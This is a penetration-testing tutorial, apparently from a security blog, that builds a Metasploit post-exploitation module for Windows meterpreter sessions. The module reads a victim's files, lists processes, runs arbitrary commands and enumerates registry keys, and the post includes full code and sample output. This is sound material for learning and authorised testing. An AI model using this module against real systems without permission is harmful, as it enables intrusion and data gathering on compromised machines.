Writing a Metasploit post exploitation module

Metasploit framework logoThe exploitation of a machine is only one step in a penetration test. What do you do next? How can you pivot from the exploited machine to other machines in the network? This is the phase where you need to prove your post exploitation skills. Even if Metasploit is a complex framework, it is not complete and it sometimes needs to be extended.

Why would I write such a module?

Metasploit is the “World’s most used penetration testing software”, it contains a huge collection of modules, but it is not complete and you can customize it by writing your own modules.

Even if you manage to compromise a machine, you may ask yourself: “Now what?”. You can use one of the many Metasploit post exploitation modules, but what if you don’t find a suitable module for you? You may request it to the Metasploit community and developers but it may take a lot of time until it will be available. So why don’t you try to write your own module?

Learn from existing modules

The easiest way to build your post exploitation module is to start from an existing module. We will create a Windows post exploitation module, so we need to see how they work. We can find them, in Kali 1.1.0a, at the following location:

/usr/share/metasploit-framework/modules/post/windows/

They are organized in multiple categories, each one describes the functionality of the module:

drwxr-xr-x 2 root root 4096  Apr 6 07:23 capture
drwxr-xr-x 2 root root 4096  Apr 6 07:23 escalate
drwxr-xr-x 4 root root 12288 Apr 6 07:23 gather
drwxr-xr-x 3 root root 4096  Apr 6 07:23 manage
drwxr-xr-x 2 root root 4096  Apr 6 07:23 recon
drwxr-xr-x 2 root root 4096  Apr 6 07:23 wlan

We will create a Windows Gather post-exploitation module, so we will look at existing modules in the /gather folder in order to understand how can we write our own module.

In our example, we will create a module that gathers some information from the victim:

  • read file
  • list processes
  • system info
  • execute command
  • get environment variables
  • read registry data

This example is only to understand what you can do with a post exploitation module and how to do it, however it is not recommended to do multiple things with a single module, it is better to split it by functionality.

Let’s start

First of all, we need to understand the architecture of a post-exploitation module so we will start from an existing one. For example gather/enum_domain_users.rb looks like this:

require 'msf/core'
require 'rex'
require 'msf/core/post/common'
require 'msf/core/post/windows/registry'
require 'msf/core/post/windows/netapi'

class Metasploit3 < Msf::Post

 include Msf::Post::Common
 include Msf::Post::Windows::Registry
 include Msf::Post::Windows::NetAPI
 include Msf::Post::Windows::Accounts

 def initialize(info={})
   super( update_info( info,
     'Name' => 'Windows Gather Enumerate Active Domain Users',
     'Description' => %q{
       This module will enumerate computers included in the primary Domain and attempt
 to list all locations the targeted user has sessions on. If a the HOST option is specified
 the module will target only that host. If the HOST is specified and USER is set to nil, all users
 logged into that host will be returned.'
 },
     'License' => MSF_LICENSE,
     'Author' => [
     'Etienne Stalmans <etienne[at]sensepost.com>',
     'Ben Campbell'
     ],
     'Platform' => [ 'win' ],
     'SessionTypes' => [ 'meterpreter' ]
   ))
   register_options(
   [
     OptString.new('USER', [false, 'Target User for NetSessionEnum']),
     OptString.new('HOST', [false, 'Target a specific host']),
   ], self.class)
 end

 def run
   sessions = []
   user = datastore['USER']
   host = datastore['HOST']
...

We see a few things:

  • some files are “required” (lines 1-5)
  • some modules “included” (lines 9-12)
  • there is a “initialize” procedure (line 14)
  • there is a “run” procedure (line 38)
  • the “initialize” procedure defines module information (lines 16-29)
  • the “initialize” procedure registers some options (lines 31-35)

So, a module skeleton may look like this:

require 'msf/core'
require 'rex'
require 'msf/core/post/common'

class Metasploit3 < Msf::Post

 include Msf::Post::Common

 def initialize(info={})
     super( update_info( info,
         'Name' => 'Module Name',
         'Description' => %q{
             Module description
         },
         'License' => MSF_LICENSE,
         'Author' => [
             'Author <author[at]domain.com>',
         ],
         'Platform' => [ 'win' ],
         'SessionTypes' => [ 'meterpreter' ]
     ))
     register_options(
     [
         OptString.new('OPTION', [false, 'Option']),
     ], self.class)
 end

 # Main method

 def run
     cmd_exec("calc.exe")
 end

end

Module information

The easiest part is to edit the module information. Here are the fields:

  • Name – Short module name in the following format: “Platform” “Category” “Short description”, such as “Windows Gather Get some info”.
  • Description – Long description of the module, we can include details here
  • License – MSF_LICENSE or other specific licence
  • Author – An array of authors who contributed to the plugin
  • Platform – As the names say, the platform such as “win” or “linux”
  • SessionTypes – Shell or meterpreter. A shell session is more limited but in our module we will focus on a meterpreter session

Required files and included modules

We will focus only on Windows so we have to look at the following location in order to see what basic functionality already exists and what can we use:

root@pwn:/usr/share/metasploit-framework/lib/msf/core/post# ls -la *
-rw-r--r-- 1 root root 5724 Apr 20 16:21 common.rb
-rw-r--r-- 1 root root 16510 Apr 20 16:21 file.rb
...
-rw-r--r-- 1 root root 915 Apr 20 16:21 windows.rb

windows:
total 252
...
-rw-r--r-- 1 root root 16432 Apr 20 16:21 registry.rb
-rw-r--r-- 1 root root 10014 Apr 20 16:21 runas.rb
-rw-r--r-- 1 root root 17418 Apr 20 16:21 services.rb
...

The “windows.rb” file just requires (automatically includes) the other files from the lib/msf/core/post/windows directory:

module Msf::Post::Windows
...
    require 'msf/core/post/windows/registry'
    require 'msf/core/post/windows/runas'
    require 'msf/core/post/windows/services'
...
end

We can require these files containing specific modules and include contained modules. For example, “msf/core/post/windows/registry.rb” contains the “Registry” module so we can use registry functions by using:

require 'msf/core/post/windows/registry'

class Metasploit3 < Msf::Post

    include Msf::Post::Windows::Registry

A basic post exploitation module may require at least the following:

require 'msf/core'
require 'rex'
require 'msf/core/post/common'

The “msf/core” is required for basic functionality such as constants and datastore, the “rex” is the library containing sockets, SSL, SMB, HTTP and a lot other useful stuff and “msf/core/post/common” allows us to execute shell commands.

Registered options

This is how our module options will look like:

Metasploit post exploitation module options

In order to achieve this result, we have to register all options.

 register_options(
 [
    OptString.new('READFILE', [ true, 'Read a remote file: E.g. C:\\Wamp\\www\\config.php', 'C:\\Wamp\\www\\config.php' ]),
    OptBool.new('LISTPROCESSES', [ true, 'True if you want to list processes', 'TRUE' ]),
    OptBool.new('SYSTEMINFO', [ true, 'True if you want to get system info', 'TRUE' ]),
    OptString.new('CMDEXEC', [ true, 'Command to execute', 'ipconfig' ]),
    OptString.new('ENVIRONMENT', [ true, 'Enviroment variable to read. E.g. PATH', 'PATH' ]),
    OptString.new('REGISTRY', [ true, 'Registry data to read. E.g. HKLM\\SYSTEM\\ControlSet001\\Services', 'HKLM\\SYSTEM\\ControlSet001\\Services' ]),
 ], self.class)

We need to call “register_options” method and specify an array of all options. As you may see, there are different types of options available:

  • OptBool – A boolean true or false value
  • OptString – Any string

There are also other option types available: OptInt for a number, OptPort for a port number, OptAddress for an IP address, OptAddressRange for a range of IP addresses or OptPath for a path. These option types limit the user and force him to specify a valid value for each option.

The parameters for options are easy to understand. For example:

OptString.new('ENVIRONMENT',
    [ true,
      'Enviroment variable to read. E.g. PATH',
      'PATH' ])

Parameters:

  • ENVIRONMENT‘ – Option name
  •  true – If it is mandatory to set in order to use the module
  • Enviroment variable to read. E.g. PATH‘ – Option description
  •  ‘PATH‘ – Default option value

In the module code, we can get the specified values by accessing the “datastore” array: datastore[‘ENVIRONMENT’].

Run

As we already defined the module information and registered all desired options, we “just” need to code the module. Here is the place where your programming skills are required and you must get a little familiar with Ruby language. Even if you don’t know Ruby, you will find the above code straightforward and easy to understand.

Before, we just need to know how can we output data back to the module user:

  • print_line – Print text
  • print_status – [*] Print text
  • print_good – [+] Print text
  • print_error – [-] Print text

1. Read a file contents

First thing we want to do is to read a file. The “msf/core/post/file” file contains the “Msf::Post::File” module which provides us two useful functions, among many other:

  • exist? – To check if a file exists
  • read_file – To read a file

We check if the file exists. If it exists, we print it, if it does not, we just print an error message.

# Read the file

 if exist?(readfile)
   file_contents = read_file(readfile)
   print_good('File contents:')
   print_line('')
   print_line(file_contents)
   print_line('')
 else
   print_error('Cannot read specified file!')
 end

 2. List processes

We can access the list of processes from “session.sys.process” using “get_processes” method.

 # Print processes if it is requested

 if listprocesses == TRUE

     print_status('Process list:')
     print_line('')

     session.sys.process.get_processes().each do |x|
         print_good("#{x['name']} [#{x['pid']}]")
     end

     print_line('')

 end

3. System info

Here we get some system information. We can use “session.sys.config.sysinfo[‘OS’]” to get OS name or “session.sys.config.getuid” to get current user.

 # System info

 if systeminfo == TRUE

     print_good("OS: #{session.sys.config.sysinfo['OS']}")
     print_good("Computer name: #{'Computer'} ")
     print_good("Current user: #{session.sys.config.getuid}")

 end

4. Execute command

We already found from the module template that we can use “cmd_exec” method in order to execute shell commands.

# Execute command

 print_status("Executing command: #{cmdexec}")
 print_line('')

 command_output = cmd_exec(cmdexec)
 print_line(command_output)
 print_line('')

 5. Get environment variables

We can get environment variables values either by “session.sys.config.getenv” for a single variable or by “session.sys.config.getenvs” for multiple values.

 # Get environment variables

 environment_var = session.sys.config.getenv(environment)
 other_environ = session.sys.config.getenvs('USERNAME', 'TMP', 'COMPUTERNAME')

 print_good("Environment variable #{environment} = #{environment_var}")
 print_good("Username: #{other_environ['USERNAME']}")
 print_good("Temporary data folder: #{other_environ['TMP']}")
 print_good("Computer name: #{other_environ['COMPUTERNAME']}")
 print_line('')

 6. Read registry data

We will just enumerate registry keys in order to see all services for example and we will use “registry_enumkeys” method, but there are also other methods available to read, write or delete data from registry.

 # Read registry data

 print_status("Enumerate registry keys from #{registry}")
 print_line('')

 reg_vals = registry_enumkeys(registry)
 reg_vals.each do |x|
    print_good("Service: #{x}")
 end
 print_line('')

Final module

This is how our Metasploit post exploitation module looks like:

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/file'
require 'msf/core/post/windows'
require 'rex'

class Metasploit3 < Msf::Post

 include Msf::Post::File
 include Msf::Post::Windows::Registry

 def initialize(info={})
   super(update_info(info,
     'Name' => 'Windows Gather SecurityCafe Test',
     'Description' => %q{
       This module is for tests
     },
     'License' => MSF_LICENSE,
     'Author' => [ 'Ionut Popescu <contact[-at-]securitycafe.ro>' ],
     'Platform' => [ 'win' ],
     'Arch' => [ 'x86' ],
     'SessionTypes' => [ 'meterpreter' ],
 ))

 register_options(
 [
   OptString.new('READFILE', [ true, 'Read a remote file: E.g. C:\\Wamp\\www\\config.php', 'C:\\Wamp\\www\\config.php' ]),
   OptBool.new( 'LISTPROCESSES', [ true, 'True if you want to list processes', 'TRUE' ]),
   OptBool.new( 'SYSTEMINFO', [ true, 'True if you want to get system info', 'TRUE' ]),
   OptString.new('CMDEXEC', [ true, 'Command to execute', 'ipconfig' ]),
   OptString.new('ENVIRONMENT', [ true, 'Enviroment variable to read. E.g. PATH', 'PATH' ]),
   OptString.new('REGISTRY', [ true, 'Registry data to read. E.g. HKLM\\SYSTEM\\ControlSet001\\Services', 'HKLM\\SYSTEM\\ControlSet001\\Services' ]),
 ], self.class)
 end

 # Main method

 def run

   readfile = datastore['READFILE']
   listprocesses = datastore['LISTPROCESSES']
   systeminfo = datastore['SYSTEMINFO']
   cmdexec = datastore['CMDEXEC']
   environment = datastore['ENVIRONMENT']
   registry = datastore['REGISTRY']

   print_status('Starting module...')
   print_line('')

   # Read the file

   if exist?(readfile)
     file_contents = read_file(readfile)
     print_good('File contents:')
     print_line('')
     print_line(file_contents)
     print_line('')
   else
     print_error('Cannot read specified file!')
   end

   # Print processes if it is requested

   if listprocesses == TRUE

     print_status('Process list:')
     print_line('')

     session.sys.process.get_processes().each do |x|
       print_good("#{x['name']} [#{x['pid']}]")
     end

   print_line('')

   end

   # System info

   if systeminfo == TRUE

   print_good("OS: #{session.sys.config.sysinfo['OS']}")
   print_good("Computer name: #{'Computer'} ")
   print_good("Current user: #{session.sys.config.getuid}")
   print_line('')

   end

   # Execute command

   print_status("Executing command: #{cmdexec}")
   print_line('')

   command_output = cmd_exec(cmdexec)
   print_line(command_output)
   print_line('')

   # Get environment variables

   environment_var = session.sys.config.getenv(environment)
   other_environ = session.sys.config.getenvs('USERNAME', 'TMP', 'COMPUTERNAME')

   print_good("Environment variable #{environment} = #{environment_var}")
   print_good("Username: #{other_environ['USERNAME']}")
   print_good("Temporary data folder: #{other_environ['TMP']}")
   print_good("Computer name: #{other_environ['COMPUTERNAME']}")
   print_line('')

   # Read registry data

   print_status("Enumerate registry keys from #{registry}")
   print_line('')

   reg_vals = registry_enumkeys(registry)
   reg_vals.each do |x|
       print_good("Service: #{x}")
   end
   print_line('')

 end

end

Running the above module targeting a Windows machine, using some default and some specified values, will output the following information:

msf post(securitycafe) > set SESSION 1
SESSION => 1
msf post(securitycafe) > set ENVIRONMENT LOGONSERVER
ENVIRONMENT => LOGONSERVER
msf post(securitycafe) > set CMDEXEC whoami
CMDEXEC => whoami
msf post(securitycafe) > run

[*] Starting module...

[+] File contents:

<?php 

$private_data = 'HERE';

?>

[*] Process list:

[+] [System Process] [0]
[+] System [4]
[+] smss.exe [452]
[+] csrss.exe [596]
[+] wininit.exe [692]
[+] csrss.exe [720]
[+] services.exe [764]
...

[+] OS: Windows 7 (Build 7601, Service Pack 1).
[+] Computer name: Computer
[+] Current user: PENTEST\Ionut

[*] Executing command: whoami

pentest\ionut

[+] Environment variable LOGONSERVER = \\PENTEST
[+] Username: Ionut
[+] Temporary data folder: C:\Users\Ionut\AppData\Local\Temp
[+] Computer name: PENTEST

[*] Enumerate registry keys from HKLM\SYSTEM\ControlSet001\Services

[+] Service: .NET CLR Data
[+] Service: .NET CLR Networking
[+] Service: .NET CLR Networking 4.0.0.0
[+] Service: .NET Data Provider for Oracle
[+] Service: .NET Data Provider for SqlServer
[+] Service: .NET Memory Cache 4.0
[+] Service: .NETFramework
...

[*] Post module execution completed
msf post(securitycafe) >

Conclusion

Metasploit offers a great post exploitation support but you are limited to the existing modules. So if you need to write your own post exploitation module you may find out that this is not as difficult as it might sound.

The frameworks offers a lot of functionality in your module: access files, registry, execute commands and even call Windows API functions by using “session.railgun“.

The documentantion is not comprehensive, but you can learn from existing modules. However, the Metasploit wiki is a good place to start.

References

Metasploit wiki

How to get started with writing a post module

How to use Railgun for Windows post exploitation

How to Write a Metasploit Post-Exploitation Module

Metasploit post exploitation documentation

Steven Haywood – Introduction to Metasploit Post Exploitation Modules

2 comments

Leave a Reply